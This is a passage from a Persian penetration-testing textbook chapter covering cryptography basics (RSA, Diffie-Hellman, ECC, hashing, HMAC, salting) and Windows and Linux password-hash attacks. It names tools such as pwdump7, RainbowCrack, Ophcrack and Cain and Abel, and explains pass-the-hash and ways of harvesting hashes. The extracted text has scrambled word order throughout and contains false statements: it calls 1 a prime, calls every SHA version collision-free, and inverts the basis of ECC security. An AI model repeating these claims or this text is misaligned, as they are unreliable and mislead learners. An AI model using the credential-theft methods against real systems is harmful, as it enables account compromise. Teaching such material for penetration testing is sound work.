 رمزنگاری با اییرمزگش یا رمزگذاری به نسبت کمتری زمان متقارن رمزنگاری با موردی
 کلیدهای دارای اما ،هستند امن اندازه همان به نیز متقارن رمزهای .کند می صرف نامتقارن
 256 کلید داشتن با AES ،کردید مشاهده بخش این در قبلاً که طور همان .هستند تر کوچک
 دست به برای .است شده گرفته نظر در خوب کافی اندازه به محرمانه فوق اسناد برای بیتی

 از توانست خواهید (امروزی نامتقارن کلید )پرکاربردترین RSA با مقایسه قابل امنیت آوردن
 برای همیشه تقریباً متقارن رمزهای ،دلایل همین به .کنید استفاده بیتی 4096 کلید یک
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 برای اغلب نامتقارن رمزهای .شوند می استفاده ها فایل یا سخت درایوهای رمزگذاری
 .شوند می استفاده ها یلایم رمزگذاری

 

 Public Key (Asymmetric) Encryption (نامتقارن) عمومی کلید رمزگذاری

 متقارن رمزهای .است متقارن رمزگذاری مسائل بر غلبه عمومی کلید رمزگذاری از منظور
 با .هستند تر کوچک کلید های اندازه با ولی امن اندازه همان به و نامتقارن از سریعتر همیشه

 کلید) پیام رمزگذاری برای کلید یک ،عمومی کلید رمزگذاری الگوریتم هر از ستفادها
 استفاده (شود می نامیده خصوصی کلید) پیام رمزگشایی برای دیگری و (شود می نامیده عمومی
 را پیامی بتواند کسی هر تا کنید توزیع آزادانه را خود عمومی کلید توانید می .شود می

 شما فقط و شماست برای فقط خصوصی کلید اما ،شود ارسال شما برای تا کند رمزگذاری
 های الگوریتم بین کلیدها کاربرد و ایجاد واقعی ریاضیات .کنید رمزگشایی را پیام توانید می

 این با .پرداخت خواهیم RSA ریاضیات به بخش این در بعداً .است متفاوت مختلف نامتقارن
 ،بزرگ اول اعداد به حدودی تا عمومی کلید های الگوریتم از بسیاری که کرد اشاره باید حال

 .هستند وابسته اعداد نظریه و فاکتورگیری
 دادن نشان برای (fictitious Alice , Bob) باب و آلیس ساختگی های شخصیت از استفاده

 ارسال پیامی باب به بخواهد آلیس اگر .است شده استاندارد رمزنگاری در نامتقارن رمزنگاری
 فرد هر که نیست مهم .کرد خواهد استفاده پیام آن رمزگذاری برای باب عمومی کلید از ،کند

 را پیام تواند نمی کلید این .باشد داشته نیز را باب عمومی کلید زمین کره روی دیگری
 3-2 شکل در که دهد، انجام را کار این تواند می باب خصوصی کلید فقط .کند رمزگشایی

 .است شده داده نشان
 موضوعی هیچ کلیدها توزیع در زیرا است برخوردار بالایی اهمیت از عمومی کلید رمزگذاری

 هر برای را کلید از کپی یک باید ،متقارن کلید رمزگذاری با .ندارد وجود فصل و حل برای
 .کنید دریافت وی از ،بفرستید او برای را خود شده رمزگذاری های پیام خواهید می که شخصی
 را شما های پیام همه بتواند دیگری شخص است ممکن ،شود کپی یا شود گم کلید نآ اگر

 دنیا کل در آزادانه را خود عمومی کلید توانید می ،عمومی کلید رمزگذاری با .کند رمزگشایی
 رمزگشایی را عمومی کلید آن با شده رمزگذاری های پیام توانید می شما فقط اما ،کنید توزیع
 .کنید
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 نامتقارن رمزنگاری .3-2 شکل
 

RSA 
 پرکداربرد  بسدیار  رمزنگداری  الگدوریتم  یدک  که ،RSA مورد در بحث حداقل بدون توانید نمی
 سدده توسددط 1977 سددال در عمددومی کلیددد روش ایددن .کنیددد بحددث رمزنگدداری دربدداره ،اسددت

 ندام  حدرف  اولدین  از RSA ندام  .یافدت  توسدعه  آدلمن لن و شامیر آدی ،رونست رون ریاضیدان
 RSA بده  مربدوط  ریاضدیات  بده  نگداهی  دهیدد  اجدازه  .است شده گرفته ریاضیدان هر وادگیخان

 اکثدر  بدرای  دیگدر  الگدوریتم  هدر  یدا  ایدن  زمینه ریاضیات دانستن که است ذکر به لازم .بیندازیم
 عمدق  بده  کده  مندندد  علاقده  خواننددگان  از برخدی  امدا  .نیسدت  ضدروری  نفدوذ  تسدت  متخصصان
 .بود خواهد شروع برای خوبی مکان جااین که ،بپردازند رمزنگاری

 را ها آن باید که دارد وجود ریاضی اساسی مفهوم چند ،بپردازیم RSA به بتوانیم اینکه از قبل
 .باشد کلی مرور یک است ممکن مطالب (همه حتی یا) برخی .بدانید
 و است تقسیم قابل خود بر مساوی طور به فقط اول عدد یک :Prime numbers اول اعداد
 به 1 که باشید داشته توجه) .هستند اول اعداد همه 23 و 17 ،13 ،11 ،7 ،5 ،3 ،2 ،1 بنابراین
  .(نیست برخوردار بالایی اهمیت از و شود می محسوب خاص مورد یک خود خودی
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Co-prime هیچ عدد دو یعنی .نیست اول معنای به واقع در :این )همتا( اول هم به نسبت اعداد 
 4 و 2 (1 خاص مورد استثنای به) 8 فاکتورهای ،مثال عنوان به ،بنابراین .ارندند مشترکی عامل
 Co-prime ها آن .ندارند مشترکی فاکتور هیچ 9 و 8 اعداد .است 3 و 9 فاکتورها تنها هستند،
 .هستند
 همخوانی n با که است n از تر کوچک صحیح عدد تعداد :Euler’s totient لریاو یف تابع
 10 با ،است 10 ضریب یک 2 که آنجا از .بگیریم نظر در را 10 عدد بگذارید اینبنابر .دارند

 اول هم 4 عدد .است اول هم 10 با 3 اما .ندارد (اول هم به نسبت اعداد) همخوانی کمترین
 10 فاکتوره یک که آنجایی از 5 عدد .هستند 2 از فاکتوری دارای دو هر 10 و 4 زیرا نیست
 هم 10 با بنابراین ،است اول 7 عدد .هستند 2 فاکتور هم دارای دو ره 10 و 6 همچنین .است
 با 9 عدد .هستند 2فاکتور هم دارای دو هر 10 و 8 که نیست دلیل این به 8 عدد .است فاکتور
 1 ما .هستند (اول هم به همتا)نسبت 10 با 9 و 7 ،3 اعداد بنابراین .باشند می اول هم به نسبت 10
 اویلر لئونارد .است 4 برابر 10 اویلر گره و ،کنیم می اضافه خاص دمور یک عنوان به را

 .است n - 1 همیشه آن مجموع آنگاه ،باشد اصلی عدد یک n عدد اگر که کرد ثابت همچنین
 یف تابع که φ(n) لریاو totient تابع ).است totient 13، 12 .است 6 برابر 7 مجموع بنابراین

  (.شود یم گفته هم لریاو
Multiplying و co-prime: طور به .کنیم محاسبه را عدد هر راحتی به توانیم می اکنون 

 ضرب را اول عدد دو اگر اما .است n - 1 فقط n اول عدد هر مجموع که دانیم می خودکار
 تمام توانیم می .آوریم دست به 35 ،کنیم ضرب را 7 و 5 توانیم می ،مثال عنوان به چی؟ کنیم
 بزرگتر اعداد هرچه اما .کنیم جمع ،است برابر 35 با که را عددی و کنیم ورمر 35 تا را اعداد
 محاسبه ،دارید رقمی 20 عدد یک اگر ،مثال عنوان به .شود می تر کننده خسته روند این ،شوند
 عددی اگر که کرد ثابت نیز اویلر لئونارد ،خوشبختانه .است غیرممکن تقریباً آن کلی دستی
 مجموع پس ،7 و 5 مانند (،بنامیم q و p را ها آن بگذارید) است اول ددع دو حاصل که دارید

 با است برابر (35 مورد این در) عدد دو آن حاصلضرب
p – 1 * q – 1 (4 * 6, or 24)  

 

 Modulus ماژول

 وجود مفهوم این توضیح برای روش چند .دارید نیاز RSA برای که است مفهومی آخرین
 ماژول عمل ،نویس برنامه یک نظر از ،اول .کرد خواهیم استفاده ردمو دو از واقع در .دارد
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 نشان برای ٪نماد از اغلب نویسان برنامه .گرداند برمی را باقیمانده فقط اما است عدد دو تقسیم
 3 بر تقسیم 10 باقیمانده .است 1 برابر 10 ٪ 3،بنابراین .کنند می استفاده ماژول عملکرد دادن
 .نیست ماژول عملیات درباره ریاضی توضیح موضوع این واقع در ،اکنون .است 1 برابر
 این واقع در .کند می محدود مقداری با را ها آن و کرده تفریق و جمع ماژول عملیات ،اساساً
 نظر در را ساعت یک .شوید متوجه اینکه اید،بدون داده انجام خود زندگی تمام در را عمل
 تقسیم 14 یا) است mod 14 12 واقعاً شما منظور ،ظهر از بعد 2 ساعت گویید می وقتی .بگیرید

 و (14 واقع در) اکنون .باشد ظهر از بعد 2 ساعت اگر یا . (بدهد نشان را باقیمانده فقط ؛ 12 بر
 36 + 14 دهم می انجام من که کاری ،گیرید می تماس من با دیگر ساعت 36 که بگویید من به

mod 12 50 یا mod 12 است صبح 2 ساعت که است. 
 در .باشید می RSA آموختن آماده ،باشید کرده درک را اساسی عملیات این اگر اکنون
 اول عدد دو تولید با شما ،کلید ایجاد برای .کنید مطالعه بار چند را قبلی موضوع ،نیاز صورت
 امهنگ در تا کنید انتخاب را عدد دو باید .کنید شروع برابر تقریباً ،q و p ،بزرگ تصادفی
 . (غیره و بیت 4096 ،بیت 2048) برسد شما دلخواه اندازه به محصول هم با ضرب
  آید دست به n تا کنید ضرب را q و p اکنون

 

n = pq 
 

 اعدداد  کدل  تعدداد  اویلدر  ،اساسداً  .است اول اعداد این از یک هر برای اویلر ضرب بعدی مرحله
 گرفتده  نظدر  در همتدا  عددد  دو ،باشدند  هنداشدت  مشدترکی  فداکتور  هیچ عدد دو اگر .باشد می همتا
 .شوند می
 کده  باشدید  داشدته  خداطر  بده  .باشدند  همتا توانند می 7 و 5 ،باشد 7 اصلی عدد اگر ،مثال عنوان به

 آن بدا  که است عدد 6 دارای 7 ،مثال عنوان به .است 1 منهای عدد همیشه ،اول اعداد برای اتفاقاً
 همتدا  7 بدا  همده  6 و 5 ،4 ،3 ،2 ،1 که بینید می کنید رفک موضوع این به کمی اگر) باشد می همتا
 . (هستند

 

m = (p – 1) (q – 1) 
 

 را e خواهیم می .خوانیم می فرا را e شماره ما .کنیم انتخاب را دیگری شماره خواهیم می
 .میباشد همتا با تا کنیم انتخاب
 .باشد همتا m با که،کنید انتخاب را e کم عدد
 کرده ضرب e در که میکن می دایپ را d عدد کی فقط اکنون است. شده تمام باًیتقر دیکل دیتول
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 برگرداندن و عدد دو میتقس یمعن به ماژول :بیاورید )بخاطر شود. می 1 برابر m (modماژول) و
 . بود( خواهد 2 برابر 3 ماژول 8 مثال، عنوان به است. ماندهیباق
d که ترتیب این به ،کرده پیدا را de mod m = 1 باشد 

 برای .دارید نگه مخفی کلید عنوان به را d .منتشرکنید عمومی کلید عنوان به را n و e اکنون
 .رسانید می n ماژول eتوان به را خود پیام راحتی به ،رمزگذاری

 

= me % n 
 

 .رسانید می n ماژول d توان به را آن و برداشته را شده رمزگذاری متن ،رمزگشایی برای
 

P = Cd % n 

 

 کمی شما برای موارد این همه اگر .باشد می رمزگشایی برای d و رمزگذاری برای e حرف
 کنند می فعالیت شبکه امنیت در افراد از بسیاری که بدانید باید ابتدا ،رسد می نظر به پیچیده
 آشنا موضوع آن برای دیگری رمزنگاری هرگونه یا RSA واقعی الگوریتم با اینکه )بدون
 بسیار شروع مباحث این ،بپردازید رمزنگاری به بیشتر داریدکه اگرتمایل ،حال این با . (باشند
 .است اول اعداد مورد در ویژه به ،اعداد اساسی های نظریه برخی شامل که باشد، می خوبی

 عنوان به .کنند می کار متفاوت روشی به که دارند وجود نیز دیگری نامتقارن های الگوریتم
 باشد. می ها نمونه این از یکی بیضوی نحنیم رمزنگاری ،مثال

 با RSA البته .کند کمک شما به مطلب درک در است ممکن که بزنیم مثالی اینجا در بیایید
 اعداد از ،ریاضی محاسبه آسان کردن نبالد برای .شود می انجام بزرگ بسیار صحیح اعداد
 کرد. خواهیم استفاده مثال این در کوچک صحیح

 q = 53 و p = 61 مانند ،کنید انتخاب را جزام اول عدد دو
n = pq با n = 61 * 53 = 3233 شود می محاسبه. 
 ϕ (3233) = (61 - 1) آورده دست به ϕ (n) = (p - 1) (q - 1) صورت به را محصول مجموع

  .شود می محاسبه 3120 = (1 - 53)
 e برای اول عدد یک نتخابا .باشد همتا 3120 با که کنید انتخاب را e < 3120 > 1 عدد هر
 .e = 17 گذارد می باقی نیست 3120 علیه مقسوم e اینکه بررسی برای را ما فقط

d بازده مآژولار ضرب معکوس ،کرده محاسبه را d = 2753 
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 رمزگذاری تابع ،شده پر ساده متنی پیام یک برای .است (n = 3233، e = 17) عمومی کلید
m17 (mod 3233) است 

 تابع ،c شده رمزگذاری رمز متن برای .است (n = 3233، d = 2753) خصوصی کلید
 است c2753 (mod 3233) رمزگشایی

 اما .کنند درک را RSA محاسبات کاملاً خوانندگان همه که نباشد لازم است ممکن ،هم باز
 الگوریتم آن با احتمالی مسائل بهتر ارزیابی برای ها الگوریتم از عمقی درک یک داشتن
 .باشد مفید واندت می
 

Diffie-Hellman 
 طرف دو به که است رمزنگاری پروتکل یک .بود عمومی توصیف نامتقارن الگوریتم اولین
 ،دیگر عبارت به .کنند ایجاد ناامن کانال یک طریق از را مشترک کلید یک تا دهد می اجازه
 از برخی طریق از تقارنم کلید مبادله امکان طرفین به تا شود می استفاده هلمن-دیفی از اغلب
 1976 سال در هلمن مارتین و دیفی ویتفیلد توسط که بدهد، را اینترنت مانند ناامن های محیط
 .شد ساخته

 

 Elliptic Curve بیضوی منحنی

 رمزنگاری .شد توصیف کوبلیتز نیل و میلر ویکتور توسط 1985 سال در بار اولین الگوریتم این
 بیضوی منحنی عنصر یک گسسته لگاریتم یافتن که است استوار واقعیت این بر بیضوی منحنی
  .باشد نمی دشوار آن انجام ،عمومی شده شناخته پایه نقطه یک به توجه با تصادفی

 در عالی آموزش لینک یک ،هستید مند علاقه اگر ،حال این با 
 http://arstechnica.com/security/2013/10/arelatively-easy-to-understand-primer-
on-elliptic-curve-cryptography/. 

 .دارد وجود بیضوی-رمزنگاری-در-اولیه نمونه-درک-برای
 ECC Digital Signature و ECC Diffie Hellman (ECC-DH) مانند تغییرات از تعدادی

Algorithm (ECC-DSA) رمزنگاری های سیستم واقعی قوت نقطه .دارد وجود ECC بدین 
 اندازه همان به توانید می RSA مانند ها سیستم سایر از تر کوچک کلید با که باشد می صورت
 ،RSA بیتی 2048 اندازه به بیتی ECC، 384 کلید یک ،مثال عنوان به .آورید دست به را امنیت
 .باشد می تر قوی
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 Digital Signatures دیجیتال امضاهای

 ارسال تضمین برای بلکه شود نمی استفاده پیام بودن محرمانه از اطمینان برای دیجیتال امضای از
 برده نام (Nonrepudiation) استرداد عدم عنوان به امضا این از .شود می استفاده آن از پیام
 واقع در دیجیتالی امضاهای .کیست فرستنده که کند می ثابت تالیجید امضای ،اساساً .شود می
 را نامتقارن رمزگذاری روند سادگی به تالیجید یامضاها .باشند می هوشمندانه اما ،ساده

 که) عمومی کلید از ،نامتقارن رمزگذاری در که باشید داشته خاطر به .کنند می معکوس
 و ،کند می استفاده گیرنده به پیام رمزگذاری برای (باشد داشته دسترسی آن به تواند می هرکسی
 یک با .کند شاییرمزگ را آن تواند می (شود می حف  خصوصی و امن که) خصوصی کلید
 .کند می رمزگذاری خود خصوصی کلید با را (هش معمولاً) چیزی فرستنده ،دیجیتالی امضای
 که یشخص توسط دیبا پس ،کند رمزگشایی فرستنده عمومی کلید با را آن بتواند گیرنده اگر
 .باشد شده ارسال پیام( فرستنده )کرده ارسال را امیپ شود می گفته

 

Hashing. 

 ،مهمترین و اول .است خاص های ویژگی برخی دارای که است رمزنگاری گوریتمال نوعی
 چه اینکه از فارغ ،دوم .کنید خارج را چیزی توانید نمی که معناست بدان این .است طرفه یک

 تصادمی هیچ ،سوم .کنید می دریافت ثابت طول با خروجی یک ،شود می داده ورودی
(collision) الگوریتم یک به مختلف ورودی دو که دهد می رخ انیزم تصادم .ندارد وجود 

 (.شود می نامیده نیز digest کردن خلاصه یا هش) کنند تولید یکسانی خروجی یکسان، هش
 بدین واقعیت اما .باشیم داشته (برخوردی تصادمی) هیچ نداریم ای علاقه ما ،آل ایده حالت در

 است این هدف بنابراین .دارد احتمال دمتصا ،ثابت طول با خروجی یک با که باشد می صورت
 .بیاندیشیم آن درباره نیست لازم که باشد موضوعی تا دانسته بعید را آن که
 رمزعبور اگر ،مثال عنوان به .باشد می ویندوز توسط عبور رمزهای ذخیره نحوه دقیقاً ها هش
 این به شبیه چیزی نتیجه و دهد می انجام را هش عملیات ابتدا ویندوز ،باشد password شما
 :باشد می

0BD181063899C9239016320B50D3E896693A96DF. 
 دایرکتوری در Security Accounts Manager (SAM) فایل در را آن ویندوز سپس

Windows System هنگام .کند می ذخیره log on، هش را ورودتان رمز تواند نمی ویندوز 
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 این دهد می انجام ویندوز که کاری ،بنابراین . (است طرفه یک باشید داشته خاطر به) نکند
 در آنچه با را نتیجه سپس و کرده هش را آن ،کنید می تایپ که را عبوری رمز هر که است
 .شوید وارد توانید می ،داشت مطابقت دقیقاً اگر .کند می مقایسه باشد می SAM فایل
 نیز دیگر کاربردهای .دباش می هش کاربردهای از یکی فقط ویندوز عبور رمزهای ذخیره
 آزمون شروع از قبل درایو، یک هش معمولاً ای رایانه جرایم در ،مثال عنوان به .دارند وجود
 آیا کنید مشاهده تا کرده هش را آن دوباره توانید می بعداً سپس .باشد می ای رایانه جرایم
 ،باشد داشته مطابقت اولی با دوم هش اگر .است کرده تغییر (عمدی یا تصادفی طور به) چیزی
 .است نشده ایجاد تغییری هیچ

 SHA-1 این) .هستند SHA و MD5 ترین رایج .دارد وجود کردن هش مختلف های الگوریتم
  .(شد رایج SHA-256 مانند بعدی های نسخه بعد به زمان آن از اما ،بود
 

MD5. 

MD5 توسط که است بیتی 128 هش یک RFC 1321 توسط .است شده مشخص Ron 

Rivest قبلی هش عملکرد جایگزین تا شده طراحی 1991 سال در، MD4 شود. MD5 یا هش 
 برابر در SHA اندازه به که شده مشخص و کند می تولید بیتی 128 (digest) کردن خلاصه
 .باشد نمی مقاوم تصادم

 

SHA. 

 وناکن .باشد هش الگوریتم پرکاربردترین Secure Hash (SHA) الگوریتم امروزه شاید
 محسوب تصادم بدون و ایمن (ها نسخه )همه SHA .دارد وجود SHA از نسخه چندین
 .شوند می

SHA-1: الگوریتم شبیه که است بیتی 160 هش تابع یک MD5 امنیت آژانس توسط .است 
 .باشد دیجیتال امضای الگوریتم از بخشی تا شده طراحی ((NSA ملی
 SHA-2: به معروف ،مختلف های بلوک اندازه اب ،است مشابه هش تابع دو واقع در SHA256 
 (بیت 256) بایت 32 از SHA-256 .باشند می متمایز ،کلمه اندازه نظر از ها آن .SHA-512 و

 .کند می استفاده (بیت 512) بایت 64 کلمات از SHA-512 که حالی در ،کند می استفاده کلمه



 آموزش اصول و مفاهیم تست نفوذ 82 

 

-SHA و SHA-224 های نام با که رددا وجود استاندارد هر از شده کوتاه های نسخه همچنین

  اند. شده طراحی NSA توسط نیز اینها .شوند می شناخته 384
SHA-3 : نسخه آخرین این SHA ،شد تصویب 2012 اکتبر در که است. 

 

 RACE Integrity Primitives Evaluation اصرلی  ارزیرابی  سنجش پیام خلاصه

Message Digest (RIPEMD)   

 و Hans Dobbertin، Antoon Bosselaers توسط که است بیتی 160 هش الگوریتم یک
Bart Preneel دارد وجود الگوریتم این بیتی 320 و 256 ،128 های نسخه .است شده ساخته 

 اینها همه .شوند می نامیده RIPEMD-320 و RIPEMD-128، RIPEMD-256 ترتیب به که
 بود. )برخورد( تصادم تمشکلا دارای شد مشخص که شوند می اصلی RIPEMD جایگزین

 

  Windows Hashing ویندوز کردن هش

 واقعی هش یک که کرد، می استفاده LM (LAN Manager) کردن هش از ابتدا در ویندوز
 NTLM به ویندوز بعدی های نسخه .شد می محدود کاراکتری 14 عبور رمزهای به فقط و نبود

(New Technology LAN Manager) نهایت در و NTLMv2 شدند منتقل. NTLMv2 از 
HMAC هش MD5 مورد در بعدی بخش در .کند می استفاده HMAC کرد خواهیم بحث. 

LM نتیجه در ،نبوده حساس بزرگ و کوچک حروف به نیز S همان s باشد می. 
 

MAC و HMAC 

 در قبلاً که ،عبور رمزهای ذخیره یکی .شود می استفاده امنیت با مرتبط تابع چندین برای ها هش
 . (کرد مشاهده خواهیم بیشتر فصل این ادامه در و) کردیم بحث ها آن مورد
 داده رخ تصادفی تغییر انتقال حین در آیا کنید مشاهده تا کرده ارسال پیام هش یک توانید می
 هشی با را خود دریافتی هش تواند می گیرنده ،کند تغییر انتقال هنگام پیامی اگر .خیر یا است
 تغییر مورد در اما .دهد تشخیص را انتقال خطای و کرده مقایسه کرده ارسال کامپیوتر که

 پاک را اصلی هش ،دهد تغییر عمدا را پیام کسی اگر افتد می اتفاقی چه چطور؟ ها پیام عمدی
 این تواند نمی ساده هش الگوریتم یک ،متأسفانه کند؟ محاسبه دوباره را جدید پیام و کند

 .کند حساب را سناریو
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 تشخیص های راه از یکی Message Authentication Code (MAC) پیام هویت احراز دک
 دار کلید رمزنگاری هش تابع یک اغلب MAC به همچنین .است پیام در عمدی تغییرات

(keyed cryptographic hash function) گوید می شما به نام این واقع در شود، می گفته نیز 
 Hashing) یا HMAC کار این انجام های راه از یکی .کند می کار تابع این چگونه که

Message Authentication Code) از شما کنیم فر  .است MD5 پیام صحت تأیید برای 
 تغییر عمداً را پیام یک که رهگیر طرف یک شناسایی برای .کنید می استفاده صحیح عدد
 حالت این در) کنند مبادله را مناسب اندازه با کلید یک قبلاً باید گیرنده و فرستنده ،دهد می
 .کند می هش کلید این با را هش آن XOR سپس و کند می هش را پیام فرستنده . (بیت 128

 خواهد هش کند، می محاسبه کلید با را هش که XOR و کند می دریافت که را آنچه گیرنده
 محاسبه دوباره را هش رهگیر طرف یک سادگی به اگر .شود می بدل و رد هش دو سپس .کرد
 ؛ (باشد XOR باید که نباشد آگاه است ممکن حتی و) داشت نخواهد آن با XOR کلید ،کند

 و ندارد مطابقت کند می محاسبه گیرنده که هشی با کند می ایجاد رهگیر که هشی ،بنابراین
 شد. خواهد شناسایی (Interferenceتداخل)
 حالت در رمزگذاری رمز از ها آن از برخی .دارد وجود مفهوم این در نیز دیگری تغییرات
 عنوان به نهایی بلوک از فقط سپس و کنند می استفاده (CBC ) رمزگذاری بلوک ای زنجیره
MAC موارد این به .کنند می استفاده CBC-MAC شود می گفته. 

 

 Rainbow Tables کمان رنگین جدول

 ذخیره هش عنوان به را عبور رمزهای دیگر های سیستم از بسیاری و ویندوز که آنجا از
 از ،کردم ذکر که طور همان .هستند کردن هش نحوه به مند علاقه مردم از بسیاری ،کنند می
 سال در .ندارد وجود چیزی نکردن هش برای راهی پس ،نیست پذیر برگشت هش که آنجا
 پیش از های داده از استفاده با که کرد توصیف را رمزنگاری روش یک هلمن مارتین ،1980
 تکنیک این .داد می کاهش را رمزنگاری تحلیل زمان ،حافظه در شده ذخیره شده محاسبه
 از هش با عبور رمز کراکرهای نوع این ،اساساً .یافت بهبود 1982 سال از قبل Rivest توسط
 آن به که کنند می کار خاص فضای یک در موجود عبور رمزهای همه شده محاسبه پیش
 یک برای را کمان رنگین جدول یک اگر .شود می گفته Rainbow table کمان رنگین جدول
 تولید برای که باشد متنی باید کنید می پیدا که ای ساده متن هر ،کنید می جستجو مشخص هش
 .است شده هش الگوریتم وارد خاص هش آن
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 که کنید فر  .شود می بزرگ سریع خیلی کمانی رنگین جدول چنین که است واضح
 26 و بزرگ 26) حرف 52 که .شوند محدود کلید صفحه های کاراکتر به باید عبور رمزهای
 طور همان .گذارد می برجای حرف 72 حدود یا علامت 10 تقریباً و رقم 10 (،کوچک حرف
 ترکیب زیادی بسیار تعداد نیز کاراکتری 6 عبور رمز یک حتی ،کنید تصور توانید می که

 و باشد داشته بزرگی اندازه تواند می کمان رنگین جدول یک که معناست بدان .دارد را ممکن
 .باشد می بیشتر تر کوتاه عبور رمزهای از تر طولانی عبور رمزهای امنیت دلیل همین به
 شده طراحی حملاتی چنین سازی خنثی برای هایی روش ،کمان رنگین جدول توسعه زمان از

 هش یا رمزگذاری بیشتر امنیت برای دفیتصا های بیت .باشد می salt آن ترین متداول .است
 کمان رنگین جدول حملات از تا شده مواجه کردن هش با salt اغلب .شوند می اضافه شدن

 .کند جلوگیری
 شما .بگیرید نظر در را مثال این .شود می درآمیخته شود هش است قرار که پیامی با salt اساساً
 باشد. می pass001 که دارید عبور رمز یک
 یعنی باینری صورت به

.01110000 01100001 01110011 01110011 00110000 00110000 00110001 

 مثدال  برای بیایید .کند می درج (periodically) ای دوره صورت به را ها بیت salt الگوریتم یک
 درنتیجه و دهیم می قرار بیت چهار هر را یک های بیت که کنیم فر 

0111100001 0110100011 0111100111 0111100111 0011100001 0011100001 
0011100011. 

 کرد خواهید دریافت ،کنید تبدیل متن به را آن اگر

.xZ7 # 

 salt یدا  افتدد  مدی  اتفداق  salt کده  داندد  نمی نهایی کاربر .است شفاف نهایی کاربر برای اینها همه
 اسدتفاده  عبدور  رمزهدای  دریافدت  بدرای  کمان رنگین جدول از که مهاجمی ،حال این با .چیست
 .کند می دریافت را اشتباهی عبور رمز ،کند می

 رمدز  هدش  شکستن برای تلاش برای نفوذ کننده تست یک که باشد می دسترس در ابزار تعدادی
 .شود می پرداخته موارد ترین رایج از مورد چند به اینجا در .دهد می قرار اختیارتان در عبور
 

Pwdump 
 از محلی عبور رمز هش از کپی تهیه ،عبور رمز شکستن ابزارهای از بسیاری برای قدم اولین
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 .دهد انجام شما برای را کار این تواند می pwdump برنامه .است Windows SAM فایل
 در http://www.openwall.com/passwords/windows-pwdump درلینک نسخه چندین
 مجدداً واقعی های هش که است pwdump7 خروجی از تصویری 3-3 شکل .باشد می دسترس
 انجام (live machine زنده) صورت به ماشین یک روی بر کار این زیرا شوند می ویرایش

 .شود می

 
 

 pwdump7 .3-3 شکل
 

 ابدزار  یدک  بده  را هدا  آن بتوانیدد  تدا  بریزید خارجی فایل یک به را ها هش خواهید می شما ،اغلب
 داده نشدان  3-4 شدکل  در و شدود  مدی  انجدام  راحتدی  به کار این .کنید وارد انکم رنگین جدول
 .است شده

 

 
 

 خارجی فایل به تخلیه pwdump7 .3-4 شکل

 

RainbowCrack. 

 امکان شما به که است، /http://project-rainbowcrack.com ابزار این رایگان دانلود لینک
 جدول یک و کرده (load) بارگیری را ها شه ،pwdump7 از شده صادر موارد مانند دهد می

 3-5 شکل در را (loading) بارگیری .کند جستجو (match) تطابق یک برای را کمان رنگین
 .کنید می مشاهده
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 pwdump فایل یک بارگذاری RainbowCrack .3-5 شکل
 

 خواهید مشاهده ساده متن در را عبور رمز پس ،باشد داشته مطابقت کمان رنگین جدول اگر
 .کرد
 

Ophcrack. 

 Ophcrack .باشد می اشتباه یقینا نشود، برده نامی ،ophcrack ،هک جامعه قدیمی ابزار از اگر
 روش این به اگر .شود نصب (bootable) بوت قابل CD روی تواند می که زیرا باشد می مهم
 سعی و زده دور را ویندوز امنیت نتیجه در ،کنید می بوت CD روی را سیستم کنید، کار به
 صورت به را کمان رنگین کوچک جدول یک Ophcrack .بشکنید را عبور رمزهای کنید می

 ophcrack توانید می .کنید خریداری را بزرگتر کمان رنگین جدول باید و دهد می ارائه رایگان
 SAM فایل تخلیه برای همچنین .کنید دانلود http://ophcrack.sourceforge.net لینک از را

 برای را SAM فایل در موجود های داده عو  در .نیست ای جداگانه فرایند به نیازی ویندوز
 ،دوباره) دهد می نشان را ophcrack از خروجی 3-6 شکل . قاپد( )می آورد می چنگ به شما
 . شوند( می آورده دست به عبور رمزهای و ها هش
 باید همیشه ،نفوذ کننده تست یک عنوان به .بود نخواهید موفق همیشه ،ابزارها سایر یا کار این با

 نتیجه در ،کنید دریافت را عبور رمزهای توانید می شما اگر باشید داشته توجه باید .کنید تلاش
 .تواند می نیز مهاجم یک
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 Ophcrack .3-6 شکل
 

 

Linux Hashes. 

 به را عبور رمزهای همچنین لینوکس ،حال این با .ایم کرده تمرکز ویندوز های هش روی بر ما
 .شوند می ذخیره etc / shadow / فایل در Linux عبور رمزهای .کند می ذخیره هش صورت
 .است تنظیم قابل و داشته بستگی خاص توزیع به استفاده مورد الگوریتم و شوند می salt ها آن
 ذخیره etc/shadow/ در واقعی عبور رمزهای .است کاربران از لیستی etc / password / فایل 

 قبلاً کمان رنگین جداول از توانید می ،کنید بیبازیا لینوکس از را هش بتوانید اگر .شوند می
 .کنید استفاده عبور رمز بازیابی برای تلاش برای شده ذکر

 
 Pass the Hash هش از عبور

 به مستقیماً را هش و زند می دور را برنامه و دارد را هش مهاجم ،pass-the-hash حمله در
 در .کند می منتقل ندارد( یسترسد بهشان و ندیب ینم کاربر که ییکدها)backend سرویس
 دریافت کند می وارد کاربر که را عبوری رمز ها اپلیکیشن :است صورت این به کار روند ،واقع
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 اگر .کنند می ارسال backend داده پایگاه یا سرویس به را هش و ،کنند می هش را آن و کرده
 به مستقیماً را هش و زده ورد را اپلیکیشن تواند می ،کند دریافت را هش کپی بتواند مهاجم
 .شود سیستم وارد و کند ارسال backend داده پایگاه یا سرویس

 معمولاً مهاجمان ،کمان رنگین جدول در استفاده برای چه و باشد هش از عبور حمله برای چه
 امکان شودکه می انجام مکانی هر از هش دریافت روند این .کنند می هش برداشت به اقدام
 :از عبارتند معمول روش چند .باشد پذیر
 فایل ریختن SAM همه برای رمزعبور هش حاوی فایل این .ویندوز دستگاه از محلی 

 .کردیم مشاهده pwdump7 با قبلاً را این ما باشد،که می محلی کاربران
 یک از ،رمزگذاری بدون انتقال صورت در packet sniffer های هش آوردن دست به برای 

NT و NTLM کنید استفاده ها آن انتقال هنگام. 
 پنهان حافظه هش هرگونه دریافت (cache) شود ذخیره محلی دستگاه در است ممکن که. 

 .کنند می ذخیره را شده هش عبور رمزهای های اپلیکیشن از برخی
 

Password Crackers. 

 متندوعی  هدای ابزار ،شود می استفاده رمزعبور هش بازیابی برای ،شد ذکر که ابزارهایی بر علاوه
 .کندد  می استفاده منابع از بسیاری از که عبور رمزهای بازیابی برای هکرها توسط که دارد وجود
 کده  بدوده  دیگدر  رایگدان  ابدزار  یدک  ایدن  .اسدت  CAIN , Abel ها آن ترین شده شناخته از یکی

 ار بدزار  ایدن  .کندد  مدی  اسدتخراج  را دیگدر  مندابع  و Wi-Fi، Internet Explorer عبدور  رمزهای
 آورده دسدت  بده  تصدویر  ایدن  در عبدور  رمزهدای  ،هدم  باز .کنید مشاهده 3-7 شکل در توانید می
 شوند. می
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 .Cain and Abel .3-7 شکل

 

Steganography. 

